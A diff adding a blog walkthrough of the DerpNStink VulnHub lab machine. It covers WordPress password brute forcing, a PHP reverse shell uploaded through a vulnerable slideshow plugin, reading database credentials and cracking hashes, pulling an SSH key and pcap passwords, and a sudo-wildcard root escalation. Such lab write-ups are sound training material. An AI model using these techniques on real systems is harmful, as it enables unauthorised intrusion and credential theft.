|
| 1 | +--- |
| 2 | +title: "DerpNStink - VulnHub" |
| 3 | +# author: |
| 4 | +# name: 0xKirito |
| 5 | +# link: https://github.com/0xKirito |
| 6 | +date: 2021-05-06 04:57:39 +05:30 |
| 7 | +categories: [Writeups, VulnHub] |
| 8 | +media_subpath: /assets/img/writeups/derpnstink/ |
| 9 | +tags: [VulnHub, WordPress, MySQL] |
| 10 | +render_with_liquid: false |
| 11 | +--- |
| 12 | + |
| 13 | +## DerpNStink VulnHub Walkthrough |
| 14 | + |
| 15 | +### Recon & Enumeration |
| 16 | + |
| 17 | +- `sudo netdiscover -i eth0 -r 10.0.2.0/24` |
| 18 | +- DerpNStink IP: `10.0.2.8` |
| 19 | + |
| 20 | +#### Nmap |
| 21 | + |
| 22 | +- `nmap -Pn -sS -p- -A 10.0.2.8` |
| 23 | + |
| 24 | + ``` |
| 25 | + 10.0.2.8:21/tcp => vsftpd 3.0.2 |
| 26 | + 10.0.2.8:22/tcp => OpenSSH 6.6.1p1 |
| 27 | + 10.0.2.8:80/tcp => Apache httpd 2.4.7 |
| 28 | + ``` |
| 29 | + |
| 30 | +- In HTML source code: |
| 31 | +``` |
| 32 | +flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) |
| 33 | +``` |
| 34 | + |
| 35 | +#### GoBuster |
| 36 | + |
| 37 | +``` |
| 38 | +gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.2.8 -t 60 -x txt |
| 39 | +``` |
| 40 | + |
| 41 | +``` |
| 42 | +/weblog (Status:301) [Size:304] [http://10.0.2.8/weblog/] |
| 43 | +/php (Status:301) [Size:301] [http://10.0.2.8/php/] |
| 44 | +/css (Status:301) [Size:301] [http://10.0.2.8/css/] |
| 45 | +/js (Status:301) [Size:300] [http://10.0.2.8/js/] |
| 46 | +/javascript (Status:301) [Size:308] [http://10.0.2.8/javascript/] |
| 47 | +/robots.txt (Status:200) [Size:53] |
| 48 | +/temporary (Status:301) [Size:307] [http://10.0.2.8/temporary/] |
| 49 | +/server-status (Status:403) [Size:288] |
| 50 | +``` |
| 51 | +- `/weblog` redirected to `http://derpnstink.local/weblog`. So we will need to add it to the hosts file. |
| 52 | +- `echo 10.0.2.8 derpnstink.local | tee -a /etc/hosts` |
| 53 | +- Then visit `http://derpnstink.local/weblog`. |
| 54 | +- Its a WordPress blog. |
| 55 | + |
| 56 | +--- |
| 57 | + |
| 58 | +### Exploitation |
| 59 | + |
| 60 | +``` |
| 61 | +wpscan --url http://derpnstink.local/weblog -e at -e ap -e u |
| 62 | +``` |
| 63 | + |
| 64 | +``` |
| 65 | +WordPress theme in use: twentysixteen |
| 66 | +Location: http://derpnstink.local/weblog/wp-content/themes/twentysixteen/ |
| 67 | +Last Updated: 2021-03-09T00:00:00.000Z |
| 68 | +Readme: http://derpnstink.local/weblog/wp-content/themes/twentysixteen/readme.txt |
| 69 | +The version is out of date, the latest version is 2.4 |
| 70 | +
|
| 71 | +Plugin(s) Identified: |
| 72 | +
|
| 73 | +slideshow-gallery |
| 74 | +Location: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/ |
| 75 | +Last Updated: 2019-07-12T13:09:00.000Z |
| 76 | +The version is out of date, the latest version is 1.6.12 |
| 77 | +Found By: Urls In Homepage (Passive Detection) |
| 78 | +Version: 1.4.6 (100% confidence) |
| 79 | +Found By: Readme - Stable Tag (Aggressive Detection) |
| 80 | +- http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt |
| 81 | +Confirmed By: Readme - ChangeLog Section (Aggressive Detection) |
| 82 | +- http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt |
| 83 | +
|
| 84 | +User(s) Identified: |
| 85 | +- admin |
| 86 | +``` |
| 87 | + |
| 88 | +- We got a username: `admin`. Now to brute force for password: |
| 89 | + |
| 90 | +``` |
| 91 | +wpscan --url http://derpnstink.local/weblog/ -U admin -P /usr/share/wordlists/rockyou.txt -t 60 |
| 92 | +``` |
| 93 | + |
| 94 | +``` |
| 95 | +Valid Combinations Found: |
| 96 | +Username: admin, Password: admin |
| 97 | +``` |
| 98 | + |
| 99 | +- Honestly, I should have just tried `admin:admin` before even running `wpscan` but, oh well. |
| 100 | +- Go to `/weblog/wp-admin/` and log in with `admin` : `admin` |
| 101 | +- Go to Slideshow, click on one of the available ones, in there, under Choose Image option, select a file to upload. Choose PHP reverse shell file (with IP and port changed to connect back to our Kali VM) and it will be accepted without even changing extension. |
| 102 | +- Or you can use this exploit to upload the shell since we already have user credentials: [WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload](https://www.exploit-db.com/exploits/34681). |
| 103 | + |
| 104 | +```python |
| 105 | +python wp_slideshow_exploit.py -t http://derpnstink.local/weblog -u admin -p admin -f php-shell.php |
| 106 | +``` |
| 107 | + |
| 108 | +- Start a netcat listener: `nc -lvnp 1234` |
| 109 | +- Then go back to Slideshow and click on the slideshow that has PHP reverse shell file and we will get a reverse shell as `www-data`. |
| 110 | +- `cd /var/www/html/weblog` and `ls -la` |
| 111 | +- We have read access to `wp-config.php` so `cat wp-config.php` |
| 112 | + |
| 113 | +``` |
| 114 | +/** The name of the database for WordPress */ |
| 115 | +define('DB_NAME', 'wordpress'); |
| 116 | +
|
| 117 | +/** MySQL database username */ |
| 118 | +define('DB_USER', 'root'); |
| 119 | +
|
| 120 | +/** MySQL database password */ |
| 121 | +define('DB_PASSWORD', 'mysql'); |
| 122 | +``` |
| 123 | + |
| 124 | +- `mysql -u root -p` <span class="fat-arrow">=></span> `mysql` |
| 125 | +- `show databases;` |
| 126 | +- `use mysql;` |
| 127 | +- `show tables;` |
| 128 | +- `select * from user;` |
| 129 | +- DerpNStink MySQL Commands: |
| 130 | + |
| 131 | +{: w="300" h="400" } |
| 132 | +_DerpNStink MySQL Commands_ |
| 133 | + |
| 134 | + |
| 135 | +- Dumping users & passwords from MySQL: |
| 136 | + |
| 137 | +{: w="600" h="400" } |
| 138 | +_Dumping Users & Passwords from MySQL_ |
| 139 | + |
| 140 | +- And we get a few MySQL password hashes. Used [CrackStation](https://crackstation.net/) to crack them: |
| 141 | + |
| 142 | +``` |
| 143 | +root = E74858DB86EBA20BC33D0AECAE8A8108C56B17FA = mysql |
| 144 | +unclestinky = 9B776AFB479B31E8047026F1185E952DD1E530CB = wedgie57 |
| 145 | +phpmyadmin = 4ACFE3202A5FF5CF467898FC58AAB1D615029441 = admin |
| 146 | +``` |
| 147 | + |
| 148 | +- Lets try `unclestinky : wedgie57` on user `stinky`. |
| 149 | +- `su stinky` <span class="fat-arrow">=></span> `wedgie57` and it works. |
| 150 | +- There is a `ftp` directory in `/stinky` and if we keep going in, there is a `key.txt` file which has `ssh` key for user `stinky` |
| 151 | + |
| 152 | +``` |
| 153 | +/home/stinky/ftp/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt |
| 154 | +``` |
| 155 | + |
| 156 | +- But we can also get it from `/home/stinky/.ssh` |
| 157 | +- `cd /home/stinky/.ssh` and start a python server with `python3 -m http.server 5959` and then get the `id_rsa` key from `derpnstink.local:5959/id_rsa` using a browser or via `wget`. |
| 158 | +- `chmod 600 id_rsa` and then log in via `ssh`: |
| 159 | +- `ssh -i id_rsa [email protected]` |
| 160 | +- `cd /home/stinky/Desktop && ls -la` |
| 161 | +- `cat flag.txt` |
| 162 | + |
| 163 | +``` |
| 164 | +flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb) |
| 165 | +``` |
| 166 | + |
| 167 | +- `cd /home/stinky/Documents && ls -la` there is a `derpissues.pcap` file. |
| 168 | +- `strings derpissues.pcap` to get the general idea of traffic recorded. |
| 169 | +- There are a few HTTP POST requests in there without SSL/TLS, thus, unencrypted. So we can start looking at them. Or we can `grep` for the username we already have: `mrderp`. I tried it both ways. |
| 170 | +- `strings derpissues.pcap | grep -n mrderp` |
| 171 | +- This gives 7 results but the first one itself reveals the password that was used while creating the account for `mrderp` and the second one reveals it again when it was used for logging in as `mrderp`. |
| 172 | + |
| 173 | +``` |
| 174 | +56710:action=createuser&_wpnonce_create-user=b250402af6&_wp_http_referer=%2Fweblog%2Fwp-admin%2Fuser-new.php&user_login=mrderp&email=mrderp%40derpnstink.local&first_name=mr&last_name=derp&url=%2Fhome%2Fmrderp&pass1=derpderpderpderpderpderpderp&pass1-text=derpderpderpderpderpderpderp&pass2=derpderpderpderpderpderpderp&pw_weak=on&role=administrator&createuser=Add+New+User |
| 175 | +57149:log=mrderp&pwd=derpderpderpderpderpderpderp&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1 |
| 176 | +``` |
| 177 | + |
| 178 | +- The other method is to filter POST requests and to look for passwords in unencrypted/plain text parameters. |
| 179 | +- So to filter the `strings` results for just those POST requests: |
| 180 | +- `strings derpissues.pcap | grep POST` |
| 181 | +- It lists all the POST requests but we can filter out the others that we don't need and focus only on POST requests made to `/weblog/wp-login.php` |
| 182 | +- `strings derpissues.pcap | grep -A 20 "POST /weblog/wp-login.php"` |
| 183 | +- `grep -A 20` to print the next 20 lines that come after the expected result of `grep`. |
| 184 | +- Now there are only three such POST requests and the username and password payload being sent through them is in plain text. |
| 185 | + |
| 186 | +``` |
| 187 | +1: log=unclestinky%40derpnstink.local&pwd=wedgie57&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1c3 |
| 188 | +2: log=mrderp&pwd=derpderpderpderpderpderpderp&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1 |
| 189 | +``` |
| 190 | + |
| 191 | +- We already have `stinky`'s or `unclestinky`'s password: `wedgie57` and now we also have `mrderp`'s password: `derpderpderpderpderpderpderp` |
| 192 | +- `su mrderp` <span class="fat-arrow">=></span> `derpderpderpderpderpderpderp` and we are now logged in as `mrderp`! |
| 193 | +- `mrderp` : `derpderpderpderpderpderpderp` |
| 194 | + |
| 195 | +--- |
| 196 | + |
| 197 | +### Privilege Escalation |
| 198 | + |
| 199 | +- `sudo -l` <span class="fat-arrow">=></span> `derpderpderpderpderpderpderp` |
| 200 | + |
| 201 | +``` |
| 202 | +User mrderp may run the following commands on DeRPnStiNK: |
| 203 | + (ALL) /home/mrderp/binaries/derpy* |
| 204 | +``` |
| 205 | + |
| 206 | +- If you `cd /home/mrderp/Desktop/ && ls`, there is a `helpdesk.log` file which has a pastebin link inside: `https://pastebin.com/RzK9WfGw`. This pastebin also tells us the same thing that `sudo -l` says. |
| 207 | +- So back to privilege escalation, there is no `/home/mrderp/binaries/` directory so lets create one. |
| 208 | +- `cd /home/mrderp` and then `mkdir binaries && cd binaries` |
| 209 | +- Then create a bash script (any script/executable will work here) that we can execute with `sudo`. |
| 210 | +- `touch derpy.sh` |
| 211 | +- `echo /bin/bash > derpy.sh` |
| 212 | +- Then `chmod +x derpy.sh` and then execute it with: |
| 213 | +`sudo ./derpy.sh` and we are now `root`! |
| 214 | +- `whoami` <span class="fat-arrow">=></span> `root` |
| 215 | +- `cd /root/Desktop && ls -la` |
| 216 | +- `cat flag.txt` |
| 217 | + |
| 218 | +``` |
| 219 | +flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd) |
| 220 | +
|
| 221 | +Congrats on rooting my first VulnOS! |
| 222 | +Hit me up on twitter and let me know your thoughts! |
| 223 | +@securekomodo |
| 224 | +``` |
| 225 | + |
| 226 | +<!-- ### Possible Kernel Exploit |
| 227 | +
|
| 228 | +- `uname -a` |
| 229 | +``` |
| 230 | +Linux DeRPnStiNK 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux |
| 231 | +``` |
| 232 | +- Kernel exploit could be possible. Try kernel exploit later. |
| 233 | + --> |
| 234 | + |
0 commit comments